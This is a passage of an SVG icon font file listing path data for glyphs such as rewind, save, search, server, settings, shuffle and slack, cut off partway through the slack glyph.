t-24.2766 8.33093q-17.6711 0 -30.1775 -12.5064q-12.5064 -12.5063 -12.5064 -30.1775q0 -7.33582 2.44917 -14.2507q41.6569 -117.709 159.508 -201.016q117.851 -83.3063 242.714 -83.3063q73.1939 0 161.615 36.6388q88.421 36.6388 140.163 88.4083l197.035 185.088
q13.4542 12.6422 13.4542 31.104q0 17.6699 -12.5055 30.1754t-30.1754 12.5055q-16.9062 0 -29.2274 -11.5761z" />
    <glyph glyph-name="rewind" unicode="&#xe8b8;" 
d="M426.667 595.413l-271.829 -211.413l271.829 -211.413v422.826zM443.136 51.6693l-384 298.667q-16.4526 12.8116 -16.4526 33.664t16.4526 33.664l384 298.667q11.5562 8.98962 26.1974 8.98962q17.6586 0 30.1599 -12.4975t12.5067 -30.1561v-597.333v-0.0296173
q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-14.6411 0 -26.1974 8.98962v0.0426445v-0.00104523zM896 172.587v422.827l-271.829 -211.413zM912.469 51.6693l-384 298.667q-16.4526 12.8116 -16.4526 33.664q0 20.8525 16.4526 33.664l384 298.667
q11.5564 8.98956 26.1973 8.98956q17.6586 0 30.16 -12.4975q12.5013 -12.4974 12.5067 -30.1561v-597.333v-0.0296173q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-14.641 0 -26.1973 8.98962z" />
    <glyph glyph-name="rotate-ccw" unicode="&#xe8b9;" 
d="M128 725.333v0.00653076q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653v-0.00653076v-256q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h256q17.6613 0.00274658 30.1607 12.5041
q12.4994 12.5013 12.4994 30.1626t-12.4994 30.1627q-12.4994 12.5013 -30.1607 12.504h-213.333zM152.192 242.219q41.5572 -117.935 159.464 -201.4q117.907 -83.4658 242.95 -83.4658q115.84 0 214.133 57.1199q98.2935 57.1199 155.413 155.413
q57.1195 98.2931 57.1199 214.133t-57.1199 214.133t-155.413 155.413q-98.2935 57.1199 -214.133 57.12q-73.0865 0 -161.416 -36.547q-88.3292 -36.5471 -140.049 -88.1868l-197.035 -185.173q-13.6862 -12.6662 -13.6862 -31.3142q0 -17.664 12.5013 -30.1653
t30.1653 -12.5013q17.1048 0 29.4729 11.8155l197.973 186.027q41.4748 41.6395 112.422 71.1089q70.9467 29.4694 129.717 29.4694q36.4357 0 84.8018 -12.4551t80.27 -30.0538q72.9395 -40.3256 124.561 -127.85q51.6213 -87.5248 51.6213 -170.869
q0 -92.6718 -45.696 -171.307q-45.6959 -78.6348 -124.331 -124.331q-78.6348 -45.696 -171.307 -45.696q-100.034 0 -194.36 66.7726q-94.3258 66.7727 -127.572 161.12q-3.97704 12.1821 -15.8611 20.8037q-11.8841 8.62158 -24.6989 8.62158q-17.664 0 -30.1653 -12.5013
q-12.5013 -12.5014 -12.5013 -30.1653q0 -7.79655 2.75916 -15.0887z" />
    <glyph glyph-name="refresh-cw" unicode="&#xe8ba;" 
d="M725.379 512q-17.6612 -0.00271606 -30.1607 -12.5041q-12.4995 -12.5013 -12.4995 -30.1626t12.4995 -30.1626t30.1607 -12.5041h256q17.6641 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v256q-0.00268555 17.6613 -12.504 30.1607
q-12.5014 12.4995 -30.1627 12.4995t-30.1625 -12.4995q-12.5013 -12.4994 -12.5041 -30.1607v-213.333zM85.379 256h213.333q17.6613 0.00268555 30.1607 12.504q12.4994 12.5013 12.4994 30.1626t-12.4994 30.1627t-30.1607 12.504h-256v0q-17.664 0 -30.1653 -12.5013
q-12.5013 -12.5013 -12.5013 -30.1653v-256q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653zM190.04 497.749q33.322 94.1751 127.605 160.826q94.2828 66.6506 194.179 66.6506
q58.5528 0 129.288 -29.3091t112.128 -70.7219l198.912 -186.965q12.3205 -11.5769 29.2267 -11.5769q17.6699 0 30.1754 12.5055t12.5055 30.1754q0 18.4619 -13.4542 31.104l-197.973 186.027q-51.6119 51.3864 -139.684 87.754t-160.903 36.3676
q-47.7834 0 -94.3791 -10.5856q-95.0274 -21.5027 -185.287 -101.724t-122.766 -172.068q-2.28606 -6.69971 -2.28606 -13.7786q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013q12.3258 0 24.0594 8.18762q11.7335 8.18759 15.9867 19.7563z
M13.4857 267.563l197.973 -186.027q51.6143 -51.4007 139.696 -87.7785q88.082 -36.3778 160.925 -36.3778q47.7652 0 94.3443 10.5777q95.0274 21.5028 185.287 101.724t122.766 172.068q2.28607 6.69966 2.28607 13.7786q0 17.664 -12.5013 30.1653t-30.1653 12.5013
q-12.3259 0 -24.0593 -8.18759q-11.7335 -8.18759 -15.9867 -19.7563q-33.3221 -94.1752 -127.605 -160.826q-94.2827 -66.6506 -194.179 -66.6506q-58.5528 0 -129.288 29.3091q-70.7349 29.3091 -112.128 70.7219l-198.912 186.965q-12.3205 11.5769 -29.2267 11.5769
q-17.6699 0 -30.1754 -12.5055q-12.5055 -12.5055 -12.5055 -30.1754q0 -18.4619 13.4542 -31.104z" />
    <glyph glyph-name="rotate-cw" unicode="&#xe8bb;" 
d="M682.667 512q-17.6613 -0.00271606 -30.1607 -12.5041t-12.4995 -30.1626q0 -17.6613 12.4995 -30.1626t30.1607 -12.5041h256q17.664 0 30.1653 12.5013t12.5013 30.1653v256q-0.00262451 17.6613 -12.504 30.1607q-12.5014 12.4995 -30.1627 12.4995t-30.1627 -12.4995
q-12.5013 -12.4994 -12.504 -30.1607v-213.333zM791.339 270.208q-33.2964 -94.2328 -127.594 -160.924q-94.2972 -66.6914 -194.24 -66.6914q-92.6718 0 -171.307 45.6959q-78.6348 45.6959 -124.331 124.331q-45.696 78.6348 -45.696 171.307q0 92.6718 45.6959 171.307
q45.696 78.6348 124.331 124.331q78.6348 45.6959 171.307 45.6959q58.5643 0 129.309 -29.3188q70.7446 -29.3188 112.14 -70.7456l198.443 -186.923q12.3291 -11.6177 29.2693 -11.6177q17.6691 0 30.1741 12.505q12.5049 12.5049 12.5049 30.1741
q0 18.4253 -13.4097 31.0613l-197.547 186.027q-100.126 100.222 -241.072 120.059t-265.808 -48.9333q-91.3587 -50.3666 -156.016 -159.845q-64.6572 -109.478 -64.6573 -213.801q0 -115.84 57.1199 -214.133q57.1199 -98.2935 155.413 -155.413t214.133 -57.1199
q124.941 0 242.816 83.3754t159.489 201.182q2.43494 6.89551 2.43494 14.208q0 17.6652 -12.5022 30.1674t-30.1674 12.5022q-12.4963 0 -24.285 -8.33926q-11.7888 -8.33926 -15.9474 -20.1243z" />
    <glyph glyph-name="save" unicode="&#xe8bc;" 
d="M341.333 725.333v-128h298.667q17.6613 -0.00268555 30.1607 -12.504t12.4995 -30.1627q0 -17.6613 -12.4995 -30.1626t-30.1607 -12.5041h-341.333q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v170.667h-42.6667q-17.664 0 -30.1653 -12.5014
q-12.5013 -12.5013 -12.5013 -30.1653v-597.333q0 -17.664 12.5013 -30.1653t30.1653 -12.5013h42.6667v298.667q0 17.664 12.5013 30.1653t30.1653 12.5013h426.667q17.6639 0 30.1653 -12.5013q12.5013 -12.5013 12.5013 -30.1653v-298.667h42.6667
q17.664 0 30.1653 12.5013t12.5013 30.1653v451.669l-188.331 188.331zM682.667 42.6666v256h-341.333v-256zM810.667 -42.6667h-597.333q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v597.333q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h469.333
q17.6717 -0.00372314 30.1653 -12.5013l213.333 -213.333q12.4975 -12.4937 12.5013 -30.1653v-469.333q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.4955 -37.5044z" />
    <glyph glyph-name="search" unicode="&#xe8bd;" 
d="M732.843 223.488l193.323 -193.28q12.5099 -12.5011 12.5099 -30.1867q0 -17.6676 -12.5038 -30.1715t-30.1714 -12.5039q-17.6678 0 -30.1653 12.4886l-193.323 193.323q-40.8846 -32.2248 -106.663 -55.0312q-65.778 -22.8064 -117.836 -22.8064
q-98.4638 0 -182.013 48.552q-83.5495 48.5519 -132.101 132.101t-48.5519 182.013q0 98.4638 48.5519 182.013q48.5519 83.5495 132.101 132.101q83.5495 48.552 182.013 48.552q98.4637 0 182.013 -48.552q83.5495 -48.5519 132.101 -132.101
q48.5519 -83.5494 48.5519 -182.013q0 -52.0576 -22.8065 -117.836q-22.8065 -65.778 -55.0298 -106.662zM448 170.667q114.816 0 196.075 81.2587q81.2587 81.2587 81.2587 196.075q0 114.816 -81.2587 196.075t-196.075 81.2587t-196.075 -81.2587
q-81.2587 -81.2587 -81.2587 -196.075q0 -114.816 81.2587 -196.075q81.2587 -81.2587 196.075 -81.2587z" />
    <glyph glyph-name="server" unicode="&#xe8be;" 
d="M128 725.419v-170.837l-0.00138092 -0.341309q0 -17.488 12.3767 -29.8643q12.3767 -12.3763 29.8647 -12.3757h683.52q17.3632 0 29.8016 12.5163t12.4384 30.0651v170.837l0.00140381 0.34137q0 17.4873 -12.3763 29.8636t-29.8637 12.3763h-0.00134277h-683.52
q-17.4706 -0.157471 -29.8469 -12.6338t-12.3932 -29.9476zM42.6667 725.419q0.0173569 52.7982 37.3963 90.2772q37.379 37.479 90.177 37.6375h683.52h0.000427246q52.8154 0 90.1944 -37.379q37.379 -37.379 37.379 -90.1943l-0.000488281 -0.34137v-170.837
q-0.017395 -52.7982 -37.3964 -90.2772t-90.1769 -37.6374h-683.52h-0.000457764q-52.8154 0 -90.1944 37.379q-37.379 37.379 -37.379 90.1943l0.000457764 0.34137zM128 213.419v-170.837l-0.00138092 -0.341331q0 -17.4879 12.3767 -29.8642
q12.3767 -12.3763 29.8647 -12.3758h683.52q17.3631 0 29.8015 12.5163q12.4385 12.5163 12.4385 30.065v170.837l0.00140381 0.341339q0 17.4874 -12.3764 29.8637q-12.3763 12.3763 -29.8636 12.3763h-0.00134277h-683.52q-17.4706 -0.15741 -29.8469 -12.6337
q-12.3763 -12.4763 -12.3932 -29.9476zM42.6667 213.419q0.0173683 52.7982 37.3964 90.2773q37.379 37.479 90.177 37.6374h683.52h0.000427246q52.8153 0 90.1943 -37.379t37.379 -90.1943l-0.000488281 -0.341339v-170.837q-0.017334 -52.7982 -37.3963 -90.2772
t-90.177 -37.6374h-683.52h-0.000457764q-52.8154 0 -90.1944 37.379q-37.379 37.379 -37.379 90.1944l0.000457764 0.341335zM298.667 128zM256 128v-0.00653076q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v0.00653076v0.00653076
q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-0.00653076zM298.667 640zM256 640v-0.00653076q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v0.00653076v0.00653076q0 17.664 -12.5013 30.1653
t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-0.00653076z" />
    <glyph glyph-name="scissors" unicode="&#xe8bf;" 
d="M298.667 469.333q-70.656 0 -120.661 50.0053q-50.0053 50.0054 -50.0053 120.661q0 70.6561 50.0053 120.661q50.0053 50.0053 120.661 50.0053t120.661 -50.0053t50.0053 -120.661q0 -70.656 -50.0053 -120.661q-50.0053 -50.0053 -120.661 -50.0053zM298.667 554.667
q35.328 0 60.3307 25.0026q25.0027 25.0027 25.0027 60.3307t-25.0027 60.3307t-60.3307 25.0027t-60.3307 -25.0027t-25.0027 -60.3306q0 -35.328 25.0027 -60.3307t60.3307 -25.0027zM298.667 -42.6667q-70.656 0 -120.661 50.0053q-50.005 50.0053 -50.0053 120.661
q0 70.656 50.0053 120.661q50.0053 50.0053 120.661 50.0054q70.6561 0 120.661 -50.0053q50.0053 -50.0053 50.0053 -120.661q0 -70.656 -50.0053 -120.661t-120.661 -50.0054zM298.667 42.6667q35.328 0 60.3307 25.0027q25.0027 25.0027 25.0027 60.3307
q0 35.328 -25.0027 60.3307t-60.3307 25.0027t-60.3307 -25.0027t-25.0027 -60.3307t25.0027 -60.3307t60.3307 -25.0027zM494.336 384l-135.381 135.381q-11.977 12.4007 -11.977 29.641q0 17.6639 12.5013 30.1653t30.1653 12.5014q17.2403 0 29.641 -11.977
l135.381 -135.381l311.168 311.168q12.4007 11.977 29.641 11.977q17.664 0 30.1653 -12.5013t12.5013 -30.1653q0 -17.2404 -11.977 -29.6411l-506.88 -506.88q-12.5805 -13.0257 -30.6896 -13.0257q-17.664 0 -30.1653 12.5013t-12.5013 30.1653q0 18.109 13.0257 30.6897
zM629.931 247.979q-12.0207 12.4093 -12.0207 29.6862q0 17.664 12.5013 30.1653t30.1653 12.5013q17.2066 0 29.5994 -11.9369l235.947 -235.52q12.0207 -12.4093 12.0207 -29.6862q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013
q-17.2066 0 -29.5994 11.9368z" />
    <glyph glyph-name="share-" unicode="&#xe8c0;" 
d="M768 512h-0.0130615q-70.656 0 -120.661 50.0054q-50.0053 50.0053 -50.0053 120.661t50.0053 120.661t120.661 50.0053h0.0130615q70.6505 -0.00537109 120.652 -50.0107q50.0015 -50.0054 50.0015 -120.656t-50.0015 -120.656t-120.652 -50.01zM768 597.333
q35.3281 0 60.3307 25.0026t25.0026 60.3307t-25.0026 60.3307q-25.0027 25.0027 -60.3307 25.0027t-60.3307 -25.0027q-25.0026 -25.0026 -25.0026 -60.3306t25.0026 -60.3307q25.0027 -25.0027 60.3307 -25.0027zM256 213.333q-70.656 0 -120.661 50.0053
q-50.0053 50.0053 -50.0053 120.661q0 70.656 50.0053 120.661q50.0053 50.0053 120.661 50.0053q70.656 0 120.661 -50.0053q50.0053 -50.0053 50.0053 -120.661t-50.0053 -120.661q-50.0053 -50.0053 -120.661 -50.0053zM256 298.667q35.328 0 60.3307 25.0027
t25.0027 60.3307t-25.0027 60.3307t-60.3307 25.0027q-35.328 0 -60.3307 -25.0027t-25.0027 -60.3307t25.0027 -60.3307t60.3307 -25.0027zM768 -85.3333h-0.0130615q-70.6561 0 -120.661 50.0053t-50.0053 120.661q0 70.656 50.0053 120.661
q50.0054 50.0053 120.661 50.0053h0.0130615q70.6506 -0.00541687 120.652 -50.0108t50.0015 -120.656q0 -70.6506 -50.0015 -120.656q-50.0015 -50.0054 -120.652 -50.0098zM768 -2.87646e-06q35.328 0 60.3307 25.0027q25.0026 25.0027 25.0026 60.3307
q0 35.328 -25.0026 60.3307q-25.0026 25.0027 -60.3307 25.0027q-35.328 0 -60.3307 -25.0027q-25.0026 -25.0026 -25.0026 -60.3307q0 -35.328 25.0026 -60.3307q25.0027 -25.0026 60.3307 -25.0027v-7.62939e-06v1.53914e-05zM345.045 282.709
q-9.11859 5.04041 -15.5722 15.9815q-6.45355 10.9411 -6.45355 21.3601q0 17.664 12.5013 30.1653q12.5014 12.5013 30.1653 12.5013q12.0259 0 22.2817 -6.28027l291.413 -169.813q9.11865 -5.04042 15.5722 -15.9815q6.45355 -10.9411 6.45355 -21.3601
q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-12.0259 0 -22.2817 6.28028zM635.989 655.104q9.96606 5.8136 21.504 5.8136q17.6686 0 30.173 -12.5045q12.5045 -12.5046 12.5045 -30.1731q0 -10.1483 -6.20386 -20.9495q-6.2038 -10.8011 -14.9697 -15.9146
l-290.987 -169.813q-9.96616 -5.8136 -21.504 -5.8136q-17.6685 0 -30.173 12.5045t-12.5045 30.1731q0 10.1483 6.20383 20.9494q6.20386 10.8011 14.9698 15.9146z" />
    <glyph glyph-name="share" unicode="&#xe8c1;" 
d="M128 384v-341.333q0 -52.992 37.504 -90.496q37.504 -37.504 90.496 -37.504h512q52.9919 0 90.496 37.504q37.504 37.504 37.504 90.496v341.333q-0.00262451 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1627 12.4994q-17.6613 0 -30.1626 -12.4994
t-12.504 -30.1607v-341.333q0 -17.664 -12.5014 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013h-512q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v341.333q-0.00267029 17.6613 -12.504 30.1607t-30.1626 12.4994t-30.1626 -12.4994
q-12.5013 -12.4994 -12.5042 -30.1607zM652.501 609.835q12.4007 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2404 -11.977 29.6411l-170.667 170.667q-12.496 12.4922 -30.1653 12.4922q-17.6693 0 -30.1653 -12.4922l-170.667 -170.667
q-11.977 -12.4008 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.977l140.501 140.501zM469.333 810.667v-554.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v554.667q0 17.664 -12.5013 30.1653
t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z" />
    <glyph glyph-name="shield" unicode="&#xe8c2;" 
d="M531.072 -80.8107q-9.00507 -4.49989 -19.072 -4.49989q-10.0668 0 -19.072 4.49989q-29.1624 15.0562 -56.8747 32.64q-65.0429 40.4468 -122.837 90.7093q-185.216 162.193 -185.216 341.461v341.333q0.000350952 13.7844 9.46388 25.9107t22.8348 15.476
l341.333 85.3333q5.10522 1.27887 10.368 1.27887q5.26288 0 10.368 -1.27887l341.333 -85.3333q13.3713 -3.34961 22.8348 -15.4759q9.46344 -12.1263 9.46387 -25.9108v-341.333q0 -179.337 -185.216 -341.461q-57.7944 -50.2626 -122.837 -90.7093
q-27.7123 -17.5838 -56.8746 -32.64zM542.72 24.1493q59.2115 36.8618 111.829 82.6453q156.117 136.543 156.117 277.205v308.053l-298.667 74.6667l-298.667 -74.6667v-308.053q0 -140.662 156.117 -277.205q66.2069 -57.6309 142.549 -100.949
q15.9467 9.09153 30.72 18.3467z" />
    <glyph glyph-name="settings" unicode="&#xe8c3;" 
d="M512 213.333q-70.656 0 -120.661 50.0053q-50.0053 50.0053 -50.0053 120.661t50.0053 120.661q50.0053 50.0053 120.661 50.0053q70.6561 0 120.661 -50.0053t50.0053 -120.661t-50.0053 -120.661q-50.0053 -50.0053 -120.661 -50.0053zM512 298.667
q35.328 0 60.3307 25.0027q25.0026 25.0026 25.0026 60.3307q0 35.328 -25.0026 60.3307q-25.0027 25.0026 -60.3307 25.0026t-60.3307 -25.0027t-25.0027 -60.3307t25.0027 -60.3307t60.3307 -25.0026zM272.768 680.235l-2.56 2.56q-12.5127 12.5126 -30.208 12.5126
q-17.6863 0 -30.2034 -12.5171q-12.5171 -12.5172 -12.5171 -30.2035q0 -17.6955 12.5126 -30.208l2.90134 -2.90131q24.092 -24.633 30.5387 -58.5707t-6.90134 -63.6266q-11.1421 -30.1269 -41.7579 -51.8167q-30.6158 -21.6898 -62.7328 -22.21h-3.84
q-17.6613 -0.00274658 -30.1607 -12.5041t-12.4994 -30.1626q0 -17.6613 12.4994 -30.1626t30.1607 -12.5041h7.424q30.603 -0.101257 60.8562 -20.0534q30.2532 -19.9521 42.3971 -48.0426q9.60489 -21.8094 9.60489 -45.64q0 -19.1951 -9.52745 -42.464
q-9.52744 -23.2689 -22.9894 -36.952l-2.56 -2.56q-12.5126 -12.5126 -12.5126 -30.208q0 -17.6863 12.5171 -30.2034t30.2034 -12.5171q17.6954 0 30.208 12.5126l2.90134 2.90134q24.633 24.092 58.5707 30.5387t63.6266 -6.90133q30.1269 -11.1421 51.8167 -41.7579
q21.6898 -30.6158 22.21 -62.7328v-3.83998q0.00271606 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1627 -12.4994q17.6613 0 30.1626 12.4994t12.504 30.1607v7.424q0.101257 30.603 20.0533 60.8562q19.9521 30.2532 48.0427 42.3971q21.8093 9.60488 45.64 9.60488
q19.1951 0 42.4639 -9.52746q23.2689 -9.52746 36.9521 -22.9894l2.56 -2.56q12.5126 -12.5126 30.208 -12.5126q17.6863 0 30.2034 12.5171q12.5172 12.5171 12.5172 30.2034q0 17.6954 -12.5126 30.208l-2.90131 2.90134q-13.347 13.6449 -22.793 36.8104
q-9.44611 23.1654 -9.44611 42.2528q0 23.8405 9.62579 45.6515q12.1791 28.1331 42.4948 48.0852q30.3157 19.9521 60.9719 20.0108h3.84003q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-7.42401q-30.7292 0.124054 -61.045 20.2012
q-30.3157 20.0771 -42.4217 48.3215l-3.45599 8.064v4.26666q-5.95844 17.638 -5.95844 36.2552q0 19.2059 9.53418 42.4868q9.53418 23.2809 23.0056 36.9699l2.56 2.56q12.5126 12.5126 12.5126 30.208q0 17.6863 -12.5172 30.2034t-30.2034 12.5172
q-17.6954 0 -30.208 -12.5126l-2.90131 -2.90131q-13.6296 -13.3555 -36.7808 -22.8075t-42.2335 -9.45203q-23.6284 0 -45.2737 9.47552q-28.283 12.1311 -48.3602 42.4968t-20.1625 61.1404v3.84003q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013
t-12.5013 -30.1653v-7.42401q-0.124023 -30.7292 -20.2011 -61.0449q-20.0771 -30.3157 -48.3215 -42.4218l-8.064 -3.45599h-4.26666q-17.6379 -5.95844 -36.2552 -5.95844q-19.206 0 -42.4868 9.53424q-23.2808 9.53418 -36.9704 23.0057zM888.747 512h7.25336
q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5h-3.66931q-7.54022 -0.0286102 -14.9786 -4.95416q-7.43835 -4.92554 -10.4081 -11.8565q-2.55127 -5.52925 -2.55127 -11.619q0 -11.0389 7.58594 -19.0583l2.56 -2.56q15.5259 -15.5259 26.5141 -42.0538
q10.9882 -26.5278 10.9882 -48.4849q0 -53.009 -37.516 -90.525q-37.5159 -37.516 -90.525 -37.516q-21.957 0 -48.4849 10.9882q-26.5279 10.9882 -42.0538 26.5142l-2.21869 2.21867q-8.12122 7.88986 -19.444 7.88986q-6.0603 0 -11.5747 -2.51386
q-6.89246 -2.94462 -11.818 -10.3329q-4.92548 -7.38829 -4.99268 -14.8831v-7.25333q0 -52.992 -37.504 -90.496t-90.496 -37.504q-52.992 0 -90.496 37.504t-37.504 90.496q0.0128784 0.437507 0.0128784 0.875414q0 8.98622 -6.05441 17.2931
q-6.05441 8.30692 -14.6091 11.0581q-5.36304 2.38931 -11.2342 2.38931q-11.0248 0 -19.0165 -7.59465l-2.56 -2.56q-15.5259 -15.526 -42.0538 -26.5142q-26.5278 -10.9882 -48.4849 -10.9882q-53.009 0 -90.525 37.516q-37.516 37.516 -37.516 90.525
q0 21.957 10.9882 48.4849q10.9882 26.5278 26.5142 42.0538l2.21866 2.21866q7.88986 8.12123 7.88986 19.444q0 6.06033 -2.51385 11.5747q-2.9446 6.89246 -10.3329 11.818q-7.38831 4.92552 -14.8831 4.99269h-7.25333q-52.992 0 -90.496 37.504t-37.504 90.496
t37.504 90.496t90.496 37.504q0.438354 -0.0128784 0.875412 -0.0128784q8.98619 0 17.2931 6.05435q8.30693 6.05444 11.0581 14.6092q2.38931 5.36304 2.38931 11.2342q0 11.0248 -7.59465 19.0165l-2.56 2.56q-15.526 15.5261 -26.5142 42.0539t-10.9882 48.4848
q0 53.009 37.516 90.525q37.516 37.516 90.525 37.516q21.9571 0 48.4849 -10.9882t42.0538 -26.5142l2.21866 -2.21869q8.08423 -7.9082 19.3933 -7.9082q5.84818 0 11.1987 2.36151l8.23468 3.62665q12.416 7.33124 12.416 21.7501v0.00994873v7.25336q0 53 37.5 90.5
t90.5 37.5q53 0 90.5 -37.5t37.5 -90.5v-3.66931q0.0699463 -18.1931 17.2373 -25.6q5.34985 -2.37573 11.2036 -2.37573q11.0493 0 19.0471 7.62372l2.56 2.56q15.5261 15.526 42.0538 26.5142t48.4849 10.9882q53.009 0 90.525 -37.516t37.516 -90.525
q0 -21.9571 -10.9882 -48.4849q-10.9882 -26.5278 -26.5141 -42.0538l-2.21869 -2.21869q-7.9082 -8.08423 -7.9082 -19.3934q0 -5.84821 2.36151 -11.1986l3.62665 -8.23468q7.63647 -12.3457 21.7601 -12.4161z" />
    <glyph glyph-name="skip-back" unicode="&#xe8c4;" 
d="M768 636.587l-315.733 -252.587l315.733 -252.587v505.174zM784 9.38667l-426.667 341.333q-15.9667 12.8098 -15.9667 33.28t15.9667 33.28l426.667 341.333q11.6907 9.36005 26.6667 9.36005q17.653 0 30.1544 -12.4935q12.5013 -12.4936 12.5123 -30.1465v-682.667
q-0.0109863 -17.653 -12.5124 -30.1465q-12.5013 -12.4935 -30.1543 -12.4935q-14.9759 0 -26.6666 9.36004zM256 85.3333v597.333v0.00653076q0 17.6639 -12.5013 30.1653t-30.1653 12.5014t-30.1653 -12.5013t-12.5013 -30.1653v-0.00653076v-597.333
q0.00271606 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994t12.504 30.1606z" />
    <glyph glyph-name="shuffle" unicode="&#xe8c5;" 
d="M853.333 554.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v213.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-213.333q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h170.667z
M200.832 12.5013l725.333 725.333q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.109 0 -30.6897 -13.0256l-725.333 -725.333q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013
q17.2403 0 29.6411 11.977zM682.667 42.6667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h213.333q17.664 0 30.1653 12.5013t12.5013 30.1653v213.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013
q-12.5013 -12.5014 -12.5013 -30.1653v-170.667zM609.835 225.835l256 -256q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-256 256q-12.4008 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653
q0 -17.2403 11.977 -29.641zM140.501 695.168l213.333 -213.333q12.5806 -13.0257 30.6897 -13.0257q17.664 0 30.1653 12.5013t12.5013 30.1653q0 18.1092 -13.0257 30.6897l-213.333 213.333q-12.4008 11.9771 -29.641 11.9771q-17.664 0 -30.1653 -12.5013
q-12.5013 -12.5014 -12.5013 -30.1653q0 -17.2403 11.977 -29.6412z" />
    <glyph glyph-name="sidebar" unicode="&#xe8c6;" 
d="M85.3333 682.88q0 52.9037 37.4415 90.3452t90.3452 37.4415h597.76q52.9037 0 90.3452 -37.4415t37.4415 -90.3452v-597.76v0q0 -52.9037 -37.4415 -90.3452t-90.3452 -37.4415h-597.76q-52.9037 3.8147e-06 -90.3452 37.4415t-37.4415 90.3452zM341.333 725.333
h-128.213q-17.5757 0 -30.0145 -12.4388t-12.4388 -30.0145v-597.76q0 -17.6 12.4267 -30.0267t30.0267 -12.4267h128.213zM426.667 725.333v-682.667h384.213q17.6 0 30.0267 12.4267t12.4266 30.0267v597.76q0 17.5756 -12.4388 30.0145t-30.0145 12.4388z" />
    <glyph glyph-name="skip-forward" unicode="&#xe8c7;" 
d="M256 131.413l315.733 252.587l-315.733 252.587zM240 758.613l426.667 -341.333q15.9667 -12.8098 15.9667 -33.28q0 -20.4702 -15.9667 -33.28l-426.667 -341.333q-11.6907 -9.36003 -26.6667 -9.36003q-17.653 0 -30.1543 12.4935q-12.5013 12.4935 -12.5123 30.1465
v682.667q0.0110168 17.653 12.5124 30.1465t30.1543 12.4935q14.976 0 26.6666 -9.36096zM768 682.667v-597.333q0.00274658 -17.6613 12.504 -30.1607t30.1627 -12.4994t30.1626 12.4994t12.504 30.1607v597.333q-0.00268555 17.6613 -12.504 30.1607
q-12.5013 12.4995 -30.1627 12.4995q-17.6613 0 -30.1626 -12.4995q-12.5013 -12.4994 -12.504 -30.1607z" />
    <glyph glyph-name="slack" unicode="&#xe8c8;" 
d="M983.272 524.026q39.3366 -130.641 40.8965 -226.129q1.55981 -95.4883 -38.4744 -169.334q-40.0341 -73.8462 -121.044 -125.18t-212.316 -90.8522q-130.69 -39.3368 -226.218 -40.9043q-95.5279 -1.56752 -169.411 38.4499q-73.8829 40.0174 -125.249 121.004
t-90.9167 212.26q-39.3366 130.657 -40.8968 226.155q-1.56025 95.4974 38.4749 169.352q40.0351 73.8546 121.043 125.197q81.0079 51.3425 212.316 90.8777q131.158 39.4739 226.712 41.1922q95.554 1.71826 169.416 -38.2278q73.8615 -39.946 125.052 -121.033
t90.6155 -212.828zM901.455 499.498q-27.6764 92.5563 -58.829 153.044q-31.1527 60.4882 -71.2796 99.176t-94.3437 51.0646q-54.2167 12.3767 -121.547 5.22357q-67.3304 -7.15314 -159.364 -34.8604q-92.2299 -27.7607 -152.646 -59.0255
q-60.4156 -31.2649 -99.0974 -71.4949t-51.1834 -94.3938q-12.5016 -54.1638 -5.45212 -121.414q7.0495 -67.2507 34.645 -158.865q27.7738 -92.2038 59.0515 -152.604q31.2777 -60.4004 71.5228 -99.0746t94.426 -51.1769q54.1808 -12.5028 121.453 -5.46003
